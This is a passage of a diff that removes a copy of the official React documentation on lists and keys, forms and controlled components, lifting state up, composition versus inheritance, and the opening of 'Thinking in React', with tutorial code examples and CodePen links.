-    // Correct! Key should be specified inside the array.    <ListItem key={number.toString()} value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ZXeOGM?editors=0010)
-
-A good rule of thumb is that elements inside the `map()` call need keys.
-
-## Keys Must Only Be Unique Among Siblings
-
-Keys used within arrays should be unique among their siblings. However, they don't need to be globally unique. We can use the same keys when we produce two different arrays:
-
-```
-function Blog(props) {
-  const sidebar = (    <ul>      {props.posts.map((post) =>
-        <li key={post.id}>          {post.title}
-        </li>)}
-    </ul>);
-  const content = props.posts.map((post) =>    <div key={post.id}>      <h3>{post.title}</h3>      <p>{post.content}</p>    </div>);
-  return (
-    <div>      {sidebar}      <hr />      {content}    </div>);
-}
-
-const posts = [
-  {id: 1, title: 'Hello World', content: 'Welcome to learning React!'},
-  {id: 2, title: 'Installation', content: 'You can install React from npm.'}
-];
-ReactDOM.render(
-  <Blog posts={posts} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/NRZYGN?editors=0010)
-
-{% embed url="https://codepen.io/bgoonz/pen/mdwyWWy?editors=0010" %}
-
-Keys serve as a hint to React but they don't get passed to your components. If you need the same value in your component, pass it explicitly as a prop with a different name:
-
-```
-const content = posts.map((post) =>
-  <Post    key={post.id}    id={post.id}    title={post.title} />);
-```
-
-With the example above, the `Post` component can read `props.id`, but not `props.key`.
-
-## Embedding map() in JSX
-
-In the examples above we declared a separate `listItems` variable and included it in JSX:
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>    <ListItem key={number.toString()}              value={number} />  );  return (
-    <ul>      {listItems}
-    </ul>);
-}
-```
-
-JSX allows [embedding any expression](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) in curly braces so we could inline the `map()` result:
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  return (
-    <ul>      {numbers.map((number) =>        <ListItem key={number.toString()}                  value={number} />      )}    </ul>);
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/BLvYrB?editors=0010)
-
-{% embed url="https://codepen.io/bgoonz/pen/JjJoWEw?editors=0010" %}
-
-Sometimes this results in clearer code, but this style can also be abused. Like in JavaScript, it is up to you to decide whether it is worth extracting a variable for readability. Keep in mind that if the `map()` body is too nested, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components).
-
-## **Forms**
-
-## HTML form elements work a bit differently from other DOM elements in React, because form elements naturally keep some internal state. For example, this form in plain HTML accepts a single name:
-
-```
-<form><label>
-    Name:
-    <input type="text" name="name" /></label><input type="submit" value="Submit" /></form>
-```
-
-This form has the default HTML form behavior of browsing to a new page when the user submits the form. If you want this behavior in React, it just works. But in most cases, it's convenient to have a JavaScript function that handles the submission of the form and has access to the data that the user entered into the form. The standard way to achieve this is with a technique called "controlled components".
-
-## Controlled Components
-
-In HTML, form elements such as `<input>`, `<textarea>`, and `<select>` typically maintain their own state and update it based on user input. In React, mutable state is typically kept in the state property of components, and only updated with `[setState()](<https://reactjs.org/docs/react-component.html#setstate>)`.
-
-We can combine the two by making the React state be the "single source of truth". Then the React component that renders a form also controls what happens in that form on subsequent user input. An input form element whose value is controlled by React in this way is called a "controlled component".
-
-For example, if we want to make the previous example log the name when it is submitted, we can write the form as a controlled component:
-
-```
-class NameForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {value: ''};this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-
-  handleChange(event) {    this.setState({value: event.target.value});  }handleSubmit(event) {
-    alert('A name was submitted: ' + this.state.value);
-    event.preventDefault();
-  }
-
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>        <label>          Name:
-          <input type="text" value={this.state.value} onChange={this.handleChange} />        </label>        <input type="submit" value="Submit" />      </form>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/VmmPgp?editors=0010)
-
-{% embed url="https://codepen.io/bgoonz/pen/rNwayjv?editors=0010" %}
-
-Since the `value` attribute is set on our form element, the displayed value will always be `this.state.value`, making the React state the source of truth. Since `handleChange` runs on every keystroke to update the React state, the displayed value will update as the user types.
-
-With a controlled component, the input's value is always driven by the React state. While this means you have to type a bit more code, you can now pass the value to other UI elements too, or reset it from other event handlers.
-
-## The textarea Tag
-
-In HTML, a `<textarea>` element defines its text by its children:
-
-```
-<textarea>
-  Hello there, this is some text in a text area
-</textarea>
-```
-
-In React, a `<textarea>` uses a `value` attribute instead. This way, a form using a `<textarea>` can be written very similarly to a form that uses a single-line input:
-
-```
-class EssayForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {      value: 'Please write an essay about your favorite DOM element.'    };this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-
-  handleChange(event) {    this.setState({value: event.target.value});  }handleSubmit(event) {
-    alert('An essay was submitted: ' + this.state.value);
-    event.preventDefault();
-  }
-
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>        <label>          Essay:
-          <textarea value={this.state.value} onChange={this.handleChange} />        </label>        <input type="submit" value="Submit" />      </form>);
-  }
-}
-```
-
-Notice that `this.state.value` is initialized in the constructor, so that the text area starts off with some text in it.
-
-## The select Tag
-
-In HTML, `<select>` creates a drop-down list. For example, this HTML creates a drop-down list of flavors:
-
-`<select><option value="grapefruit">Grapefruit</option><option value="lime">Lime</option><option selected value="coconut">Coconut</option><option value="mango">Mango</option></select>`
-
-Note that the Coconut option is initially selected, because of the `selected` attribute. React, instead of using this `selected` attribute, uses a `value` attribute on the root `select` tag. This is more convenient in a controlled component because you only need to update it in one place. For example:
-
-```
-class FlavorForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {value: 'coconut'};this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-
-  handleChange(event) {    this.setState({value: event.target.value});  }handleSubmit(event) {
-    alert('Your favorite flavor is: ' + this.state.value);
-    event.preventDefault();
-  }
-
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>        <label>          Pick your favorite flavor:
-          <select value={this.state.value} onChange={this.handleChange}>            <option value="grapefruit">Grapefruit</option>            <option value="lime">Lime</option>            <option value="coconut">Coconut</option>            <option value="mango">Mango</option>          </select>        </label>        <input type="submit" value="Submit" />      </form>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/JbbEzX?editors=0010)
-
-{% embed url="https://codepen.io/gaearon/pen/JbbEzX?editors=0010" %}
-
-Overall, this makes it so that `<input type="text">`, `<textarea>`, and `<select>` all work very similarly - they all accept a `value` attribute that you can use to implement a controlled component.
-
-> NoteYou can pass an array into the value attribute, allowing you to select multiple options in a select tag:\<select multiple={true} value={\['B', 'C']}>
-
-## The file input Tag
-
-In HTML, an `<input type="file">` lets the user choose one or more files from their device storage to be uploaded to a server or manipulated by JavaScript via the [File API](https://developer.mozilla.org/en-US/docs/Web/API/File/Using_files_from_web_applications).
-
-`<input type="file" />`
-
-Because its value is read-only, it is an **uncontrolled** component in React. It is discussed together with other uncontrolled components [later in the documentation](https://reactjs.org/docs/uncontrolled-components.html#the-file-input-tag).
-
-## Handling Multiple Inputs
-
-When you need to handle multiple controlled `input` elements, you can add a `name` attribute to each element and let the handler function choose what to do based on the value of `event.target.name`.
-
-For example:
-
-```
-class Reservation extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {
-      isGoing: true,
-      numberOfGuests: 2
-    };
-
-    this.handleInputChange = this.handleInputChange.bind(this);
-  }
-
-  handleInputChange(event) {
-    const target = event.target;
-    const value = target.type === 'checkbox' ? target.checked : target.value;
-    const name = target.name;this.setState({
-      [name]: value    });
-  }
-
-  render() {
-    return (
-      <form>        <label>          Is going:
-          <input
-            name="isGoing"            type="checkbox"checked={this.state.isGoing}onChange={this.handleInputChange} />        </label>        <br />        <label>          Number of guests:
-          <input
-            name="numberOfGuests"            type="number"value={this.state.numberOfGuests}onChange={this.handleInputChange} />        </label>      </form>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/wgedvV?editors=0010)
-
-Note how we used the ES6 [computed property name](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names) syntax to update the state key corresponding to the given input name:
-
-```
-this.setState({
-  [name]: value});
-```
-
-It is equivalent to this ES5 code:
-
-```
-var partialState = {};
-partialState[name] = value;this.setState(partialState);
-```
-
-Also, since `setState()` automatically [merges a partial state into the current state](https://reactjs.org/docs/state-and-lifecycle.html#state-updates-are-merged), we only needed to call it with the changed parts.
-
-## Controlled Input Null Value
-
-Specifying the value prop on a [controlled component](https://reactjs.org/docs/forms.html#controlled-components) prevents the user from changing the input unless you desire so. If you've specified a `value` but the input is still editable, you may have accidentally set `value` to `undefined` or `null`.
-
-The following code demonstrates this. (The input is locked at first but becomes editable after a short delay.)
-
-```
-ReactDOM.render(<input value="hi" />, mountNode);
-
-setTimeout(function() {
-  ReactDOM.render(<input value={null} />, mountNode);
-}, 1000);
-```
-
-## Alternatives to Controlled Components
-
-It can sometimes be tedious to use controlled components, because you need to write an event handler for every way your data can change and pipe all of the input state through a React component. This can become particularly annoying when you are converting a preexisting codebase to React, or integrating a React application with a non-React library. In these situations, you might want to check out [uncontrolled components](https://reactjs.org/docs/uncontrolled-components.html), an alternative technique for implementing input forms.
-
-## Fully-Fledged Solutions
-
-If you're looking for a complete solution including validation, keeping track of the visited fields, and handling form submission, [Formik](https://jaredpalmer.com/formik) is one of the popular choices. However, it is built on the same principles of controlled components and managing state --- so don't neglect to learn them.
-
-## **Lifting State Up**
-
-## Often, several components need to reflect the same changing data. We recommend lifting the shared state up to their closest common ancestor. Let's see how this works in action.
-
-In this section, we will create a temperature calculator that calculates whether the water would boil at a given temperature.
-
-We will start with a component called `BoilingVerdict`. It accepts the `celsius` temperature as a prop, and prints whether it is enough to boil the water:
-
-```
-function BoilingVerdict(props) {
-  if (props.celsius >= 100) {
-    return <p>The water would boil.</p>;  }
-  return <p>The water would not boil.</p>;}
-```
-
-Next, we will create a component called `Calculator`. It renders an `<input>` that lets you enter the temperature, and keeps its value in `this.state.temperature`.
-
-Additionally, it renders the `BoilingVerdict` for the current input value.
-
-```
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    return (
-      <fieldset>        <legend>Enter temperature in Celsius:</legend>        <input          value={temperature}          onChange={this.handleChange} />        <BoilingVerdict          celsius={parseFloat(temperature)} />      </fieldset>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ZXeOBm?editors=0010)
-
-[https://codepen.io/bgoonz/pen/zYzxZoL?editors=0010](https://codepen.io/bgoonz/pen/zYzxZoL?editors=0010)
-
-## Adding a Second Input
-
-Our new requirement is that, in addition to a Celsius input, we provide a Fahrenheit input, and they are kept in sync.
-
-We can start by extracting a `TemperatureInput` component from `Calculator`. We will add a new `scale` prop to it that can either be `"c"` or `"f"`:
-
-```
-const scaleNames = {  c: 'Celsius',  f: 'Fahrenheit'};class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};
-  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});
-  }
-
-  render() {
-    const temperature = this.state.temperature;
-    const scale = this.props.scale;    return (
-      <fieldset>        <legend>Enter temperature in {scaleNames[scale]}:</legend>        <input value={temperature}onChange={this.handleChange} />      </fieldset>);
-  }
-}
-```
-
-We can now change the `Calculator` to render two separate temperature inputs:
-
-```
-class Calculator extends React.Component {
-  render() {
-    return (
-      <div>        <TemperatureInput scale="c" />        <TemperatureInput scale="f" />      </div>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/jGBryx?editors=0010)
-
-{% embed url="https://codepen.io/bgoonz/pen/QWgwpGv?editors=0010" %}
-
-We have two inputs now, but when you enter the temperature in one of them, the other doesn't update. This contradicts our requirement: we want to keep them in sync.
-
-We also can't display the `BoilingVerdict` from `Calculator`. The `Calculator` doesn't know the current temperature because it is hidden inside the `TemperatureInput`.
-
-## Writing Conversion Functions
-
-First, we will write two functions to convert from Celsius to Fahrenheit and back:
-
-```
-function toCelsius(fahrenheit) {
-  return (fahrenheit - 32) * 5 / 9;
-}
-
-function toFahrenheit(celsius) {
-  return (celsius * 9 / 5) + 32;
-}
-```
-
-These two functions convert numbers. We will write another function that takes a string `temperature` and a converter function as arguments and returns a string. We will use it to calculate the value of one input based on the other input.
-
-It returns an empty string on an invalid `temperature`, and it keeps the output rounded to the third decimal place:
-
-```
-function tryConvert(temperature, convert) {
-  const input = parseFloat(temperature);
-  if (Number.isNaN(input)) {
-    return '';
-  }
-  const output = convert(input);
-  const rounded = Math.round(output * 1000) / 1000;
-  return rounded.toString();
-}
-```
-
-For example, `tryConvert('abc', toCelsius)` returns an empty string, and `tryConvert('10.22', toFahrenheit)` returns `'50.396'`.
-
-## Lifting State Up
-
-Currently, both `TemperatureInput` components independently keep their values in the local state:
-
-```
-class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    // ...
-```
-
-However, we want these two inputs to be in sync with each other. When we update the Celsius input, the Fahrenheit input should reflect the converted temperature, and vice versa.
-
-In React, sharing state is accomplished by moving it up to the closest common ancestor of the components that need it. This is called "lifting state up". We will remove the local state from the `TemperatureInput` and move it into the `Calculator` instead.
-
-If the `Calculator` owns the shared state, it becomes the "source of truth" for the current temperature in both inputs. It can instruct them both to have values that are consistent with each other. Since the props of both `TemperatureInput` components are coming from the same parent `Calculator` component, the two inputs will always be in sync.
-
-Let's see how this works step by step.
-
-First, we will replace `this.state.temperature` with `this.props.temperature` in the `TemperatureInput` component. For now, let's pretend `this.props.temperature` already exists, although we will need to pass it from the `Calculator` in the future:
-
-```
-  render() {
-    // Before: const temperature = this.state.temperature;
-    const temperature = this.props.temperature;    // ...
-```
-
-We know that [props are read-only](https://reactjs.org/docs/components-and-props.html#props-are-read-only). When the `temperature` was in the local state, the `TemperatureInput` could just call `this.setState()` to change it. However, now that the `temperature` is coming from the parent as a prop, the `TemperatureInput` has no control over it.
-
-In React, this is usually solved by making a component "controlled". Just like the DOM `<input>` accepts both a `value` and an `onChange` prop, so can the custom `TemperatureInput` accept both `temperature` and `onTemperatureChange` props from its parent `Calculator`.
-
-Now, when the `TemperatureInput` wants to update its temperature, it calls `this.props.onTemperatureChange`:
-
-```
-  handleChange(e) {
-    // Before: this.setState({temperature: e.target.value});
-    this.props.onTemperatureChange(e.target.value);    // ...
-```
-
-> Note:There is no special meaning to either temperature or onTemperatureChange prop names in custom components. We could have called them anything else, like name them value and onChange which is a common convention.
-
-The `onTemperatureChange` prop will be provided together with the `temperature` prop by the parent `Calculator` component. It will handle the change by modifying its own local state, thus re-rendering both inputs with the new values. We will look at the new `Calculator` implementation very soon.
-
-Before diving into the changes in the `Calculator`, let's recap our changes to the `TemperatureInput` component. We have removed the local state from it, and instead of reading `this.state.temperature`, we now read `this.props.temperature`. Instead of calling `this.setState()` when we want to make a change, we now call `this.props.onTemperatureChange()`, which will be provided by the `Calculator`:
-
-```
-class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-  }
-
-  handleChange(e) {
-    this.props.onTemperatureChange(e.target.value);  }
-
-  render() {
-    const temperature = this.props.temperature;    const scale = this.props.scale;
-    return (
-      <fieldset>        <legend>Enter temperature in {scaleNames[scale]}:</legend>        <input value={temperature}onChange={this.handleChange} />      </fieldset>);
-  }
-}
-```
-
-Now let's turn to the `Calculator` component.
-
-We will store the current input's `temperature` and `scale` in its local state. This is the state we "lifted up" from the inputs, and it will serve as the "source of truth" for both of them. It is the minimal representation of all the data we need to know in order to render both inputs.
-
-For example, if we enter 37 into the Celsius input, the state of the `Calculator` component will be:
-
-```
-{
-  temperature: '37',
-  scale: 'c'
-}
-```
-
-If we later edit the Fahrenheit field to be 212, the state of the `Calculator` will be:
-
-```
-{
-  temperature: '212',
-  scale: 'f'
-}
-```
-
-We could have stored the value of both inputs but it turns out to be unnecessary. It is enough to store the value of the most recently changed input, and the scale that it represents. We can then infer the value of the other input based on the current `temperature` and `scale` alone.
-
-The inputs stay in sync because their values are computed from the same state:
-
-```
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleCelsiusChange = this.handleCelsiusChange.bind(this);
-    this.handleFahrenheitChange = this.handleFahrenheitChange.bind(this);
-    this.state = {temperature: '', scale: 'c'};  }
-
-  handleCelsiusChange(temperature) {
-    this.setState({scale: 'c', temperature});  }
-
-  handleFahrenheitChange(temperature) {
-    this.setState({scale: 'f', temperature});  }
-
-  render() {
-    const scale = this.state.scale;    const temperature = this.state.temperature;    const celsius = scale === 'f' ? tryConvert(temperature, toCelsius) : temperature;    const fahrenheit = scale === 'c' ? tryConvert(temperature, toFahrenheit) : temperature;return (
-      <div>        <TemperatureInputscale="c"          temperature={celsius}          onTemperatureChange={this.handleCelsiusChange} />        <TemperatureInputscale="f"          temperature={fahrenheit}          onTemperatureChange={this.handleFahrenheitChange} />        <BoilingVerdict          celsius={parseFloat(celsius)} />      </div>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/WZpxpz?editors=0010)
-
-{% embed url="https://codepen.io/gaearon/pen/WZpxpz?editors=0010" %}
-
-Now, no matter which input you edit, `this.state.temperature` and `this.state.scale` in the `Calculator` get updated. One of the inputs gets the value as is, so any user input is preserved, and the other input value is always recalculated based on it.
-
-Let's recap what happens when you edit an input:
-
--   React calls the function specified as `onChange` on the DOM `<input>`. In our case, this is the `handleChange` method in the `TemperatureInput` component.
--   The `handleChange` method in the `TemperatureInput` component calls `this.props.onTemperatureChange()` with the new desired value. Its props, including `onTemperatureChange`, were provided by its parent component, the `Calculator`.
--   When it previously rendered, the `Calculator` had specified that `onTemperatureChange` of the Celsius `TemperatureInput` is the `Calculator`'s `handleCelsiusChange` method, and `onTemperatureChange` of the Fahrenheit `TemperatureInput` is the `Calculator`'s `handleFahrenheitChange` method. So either of these two `Calculator` methods gets called depending on which input we edited.
--   Inside these methods, the `Calculator` component asks React to re-render itself by calling `this.setState()` with the new input value and the current scale of the input we just edited.
--   React calls the `Calculator` component's `render` method to learn what the UI should look like. The values of both inputs are recomputed based on the current temperature and the active scale. The temperature conversion is performed here.
--   React calls the `render` methods of the individual `TemperatureInput` components with their new props specified by the `Calculator`. It learns what their UI should look like.
--   React calls the `render` method of the `BoilingVerdict` component, passing the temperature in Celsius as its props.
--   React DOM updates the DOM with the boiling verdict and to match the desired input values. The input we just edited receives its current value, and the other input is updated to the temperature after conversion.
-
-Every update goes through the same steps so the inputs stay in sync.
-
-## Lessons Learned
-
-There should be a single "source of truth" for any data that changes in a React application. Usually, the state is first added to the component that needs it for rendering. Then, if other components also need it, you can lift it up to their closest common ancestor. Instead of trying to sync the state between different components, you should rely on the [top-down data flow](https://reactjs.org/docs/state-and-lifecycle.html#the-data-flows-down).
-
-Lifting state involves writing more "boilerplate" code than two-way binding approaches, but as a benefit, it takes less work to find and isolate bugs. Since any state "lives" in some component and that component alone can change it, the surface area for bugs is greatly reduced. Additionally, you can implement any custom logic to reject or transform user input.
-
-If something can be derived from either props or state, it probably shouldn't be in the state. For example, instead of storing both `celsiusValue` and `fahrenheitValue`, we store just the last edited `temperature` and its `scale`. The value of the other input can always be calculated from them in the `render()` method. This lets us clear or apply rounding to the other field without losing any precision in the user input.
-
-When you see something wrong in the UI, you can use [React Developer Tools](https://github.com/facebook/react/tree/main/packages/react-devtools) to inspect the props and move up the tree until you find the component responsible for updating the state. This lets you trace the bugs to their source:
-
-![https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif](https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif)
-
-## **Composition vs Inheritance**
-
-## React has a powerful composition model, and we recommend using composition instead of inheritance to reuse code between components.
-
-In this section, we will consider a few problems where developers new to React often reach for inheritance, and show how we can solve them with composition.
-
-## Containment
-
-Some components don't know their children ahead of time. This is especially common for components like `Sidebar` or `Dialog` that represent generic "boxes".
-
-We recommend that such components use the special `children` prop to pass children elements directly into their output:
-
-```
-function FancyBorder(props) {
-  return (
-    <div className={'FancyBorder FancyBorder-' + props.color}>      {props.children}    </div>);
-}
-```
-
-This lets other components pass arbitrary children to them by nesting the JSX:
-
-```
-function WelcomeDialog() {
-  return (
-    <FancyBorder color="blue">      <h1 className="Dialog-title">        Welcome      </h1>      <p className="Dialog-message">        Thank you for visiting our spacecraft!      </p>    </FancyBorder>);
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ozqNOV?editors=0010)
-
-{% embed url="https://codepen.io/gaearon/pen/ozqNOV?editors=0010" %}
-
-Anything inside the `<FancyBorder>` JSX tag gets passed into the `FancyBorder` component as a `children` prop. Since `FancyBorder` renders `{props.children}` inside a `<div>`, the passed elements appear in the final output.
-
-While this is less common, sometimes you might need multiple "holes" in a component. In such cases you may come up with your own convention instead of using `children`:
-
-```
-function SplitPane(props) {
-  return (
-    <div className="SplitPane">      <div className="SplitPane-left">        {props.left}      </div>      <div className="SplitPane-right">        {props.right}      </div>    </div>);
-}
-
-function App() {
-  return (
-    <SplitPaneleft={
-        <Contacts />      }right={
-        <Chat />      } />);
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/gwZOJp?editors=0010)
-
-{% embed url="https://codepen.io/gaearon/pen/gwZOJp?editors=0010" %}
-
-React elements like `<Contacts />` and `<Chat />` are just objects, so you can pass them as props like any other data. This approach may remind you of "slots" in other libraries but there are no limitations on what you can pass as props in React.
-
-## Specialization
-
-Sometimes we think about components as being "special cases" of other components. For example, we might say that a `WelcomeDialog` is a special case of `Dialog`.
-
-In React, this is also achieved by composition, where a more "specific" component renders a more "generic" one and configures it with props:
-
-```
-function Dialog(props) {
-  return (
-    <FancyBorder color="blue">      <h1 className="Dialog-title">        {props.title}      </h1>      <p className="Dialog-message">        {props.message}      </p>    </FancyBorder>);
-}
-
-function WelcomeDialog() {
-  return (
-    <Dialog      title="Welcome"      message="Thank you for visiting our spacecraft!" />  );
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/kkEaOZ?editors=0010)
-
-{% embed url="https://codepen.io/gaearon/pen/kkEaOZ?editors=0010" %}
-
-Composition works equally well for components defined as classes:
-
-```
-function Dialog(props) {
-  return (
-    <FancyBorder color="blue">      <h1 className="Dialog-title">        {props.title}
-      </h1>      <p className="Dialog-message">        {props.message}
-      </p>      {props.children}    </FancyBorder>);
-}
-
-class SignUpDialog extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.handleSignUp = this.handleSignUp.bind(this);
-    this.state = {login: ''};
-  }
-
-  render() {
-    return (
-      <Dialog title="Mars Exploration Program"message="How should we refer to you?">        <input value={this.state.login}               onChange={this.handleChange} />        <button onClick={this.handleSignUp}>          Sign Me Up!        </button>      </Dialog>);
-  }
-
-  handleChange(e) {
-    this.setState({login: e.target.value});
-  }
-
-  handleSignUp() {
-    alert(`Welcome aboard, ${this.state.login}!`);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/gwZbYa?editors=0010)
-
-## So What About Inheritance?
-
-At Facebook, we use React in thousands of components, and we haven't found any use cases where we would recommend creating component inheritance hierarchies.
-
-Props and composition give you all the flexibility you need to customize a component's look and behavior in an explicit and safe way. Remember that components may accept arbitrary props, including primitive values, React elements, or functions.
-
-If you want to reuse non-UI functionality between components, we suggest extracting it into a separate JavaScript module. The components may import it and use that function, object, or a class, without extending it.
-
-## **Thinking in React**
-
-## React is, in our opinion, the premier way to build big, fast Web apps with JavaScript. It has scaled very well for us at Facebook and Instagram.
-
-One of the many great parts of React is how it makes you think about apps as you build them. In this document, we'll walk you through the thought process of building a searchable product data table using React.
-
-## Start With A Mock
-
-Imagine that we already have a JSON API and a mock from our designer. The mock looks like this:
-
-![https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png](https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png)
-
-Our JSON API returns some data that looks like this:
-
-```
-[
-  {category: "Sporting Goods", price: "$49.99", stocked: true, name: "Football"},
-  {category: "Sporting Goods", price: "$9.99", stocked: true, name: "Baseball"},
-  {category: "Sporting Goods", price: "$29.99", stocked: false, name: "Basketball"},
-  {category: "Electronics", price: "$99.99", stocked: true, name: "iPod Touch"},
-  {category: "Electronics", price: "$399.99", stocked: false, name: "iPhone 5"},
-  {category: "Electronics", price: "$199.99", stocked: true, name: "Nexus 7"}
-];
-```
-
-## Step 1: Break The UI Into A Component Hierarchy
-
-The first thing you'll want to do is to draw boxes around every component (and subcomponent) in the mock and give them all names. If you're working with a designer, they may have already done this, so go talk to them! Their Photoshop layer names may end up being the names of your React components!
-
-But how do you know what should be its own component? Use the same techniques for deciding if you should create a new function or object. One such technique is the [single responsibility principle](https://en.wikipedia.org/wiki/Single_responsibility_principle), that is, a component should ideally only do one thing. If it ends up growing, it should be decomposed into smaller subcomponents.
-
-Since you're often displaying a JSON data model to a user, you'll find that if your model was built correctly, your UI (and therefore your component structure) will map nicely. That's because UI and data models tend to adhere to the same _information architecture_. Separate your UI into components, where each component matches one piece of your data model.
-
-![https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png](https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png)
-
-You'll see here that we have five components in our app. We've italicized the data each component represents.
-
-1. **`FilterableProductTable` (orange):** contains the entirety of the example
-2. **`SearchBar` (blue):** receives all _user input_
-3. **`ProductTable` (green):** displays and filters the _data collection_ based on _user input_
-4. **`ProductCategoryRow` (turquoise):** displays a heading for each _category_
-5. **`ProductRow` (red):** displays a row for each _product_
-
-If you look at `ProductTable`, you'll see that the table header (containing the "Name" and "Price" labels) isn't its own component. This is a matter of preference, and there's an argument to be made either way. For this example, we left it as part of `ProductTable` because it is part of rendering the _data collection_ which is `ProductTable`'s responsibility. However, if this header grows to be complex (e.g., if we were to add affordances for sorting), it would certainly make sense to make this its own `ProductTableHeader` component.
-
-Now that we've identified the components in our mock, let's arrange them into a hierarchy. Components that appear within another component in the mock should appear as a child in the hierarchy:
-
--   `FilterableProductTable`
-    -   `SearchBar`
-    -   `ProductTable`
-    -   `ProductCategoryRow`
-    -   `ProductRow`
-
-## Step 2: Build A Static Version in React
-
-See the Pen [Thinking In React: Step 2](https://codepen.io/gaearon/pen/BwWzwm) on [CodePen](https://codepen.io).
-
-Now that you have your component hierarchy, it's time to implement your app. The easiest way is to build a version that takes your data model and renders the UI but has no interactivity. It's best to decouple these processes because building a static version requires a lot of typing and no thinking, and adding interactivity requires a lot of thinking and not a lot of typing. We'll see why.
-
-To build a static version of your app that renders your data model, you'll want to build components that reuse other components and pass data using _props_. _props_ are a way of passing data from parent to child. If you're familiar with the concept of _state_, **don't use state at all** to build this static version. State is reserved only for interactivity, that is, data that changes over time. Since this is a static version of the app, you don't need it.
-
-You can build top-down or bottom-up. That is, you can either start with building the components higher up in the hierarchy (i.e. starting with `FilterableProductTable`) or with the ones lower in it (`ProductRow`). In simpler examples, it's usually easier to go top-down, and on larger projects, it's easier to go bottom-up and write tests as you build.
-
-At the end of this step, you'll have a library of reusable components that render your data model. The components will only have `render()` methods since this is a static version of your app. The component at the top of the hierarchy (`FilterableProductTable`) will take your data model as a prop. If you make a change to your underlying data model and call `ReactDOM.render()` again, the UI will be updated. You can see how your UI is updated and where to make changes. React's **one-way data flow** (also called _one-way binding_) keeps everything modular and fast.
-
-Refer to the [React docs](https://reactjs.org/docs/) if you need help executing this step.
-
-## A Brief Interlude: Props vs State
-
-There are two types of "model" data in React: props and state. It's important to understand the distinction between the two; skim [the official React docs](https://reactjs.org/docs/state-and-lifecycle.html) if you aren't sure what the difference is. See also [FAQ: What is the difference between state and props?](https://reactjs.org/docs/faq-state.html#what-is-the-difference-between-state-and-props)
-
-## Step 3: Identify The Minimal (but complete) Representation Of UI State
-
-To make your UI interactive, you need to be able to trigger changes to your underlying data model. React achieves this with **state**.
-
-To build your app correctly, you first need to think of the minimal set of mutable state that your app needs. The key here is [DRY: _Don't Repeat Yourself_](https://en.wikipedia.org/wiki/Don't_repeat_yourself). Figure out the absolute minimal representation of the state your application needs and compute everything else you need on-demand. For example, if you're building a TODO list, keep an array of the TODO items around; don't keep a separate state variable for the count. Instead, when you want to render the TODO count, take the length of the TODO items array.
-
-Think of all the pieces of data in our example application. We have:
-
--   The original list of products
--   The search text the user has entered
--   The value of the checkbox
--   The filtered list of products
-
-Let's go through each one and figure out which one is state. Ask three questions about each piece of data:
-
-1. Is it passed in from a parent via props? If so, it probably isn't state.
-2. Does it remain unchanged over time? If so, it probably isn't state.
-3. Can you compute it based on any other state or props in your component? If so, it isn't state.
-
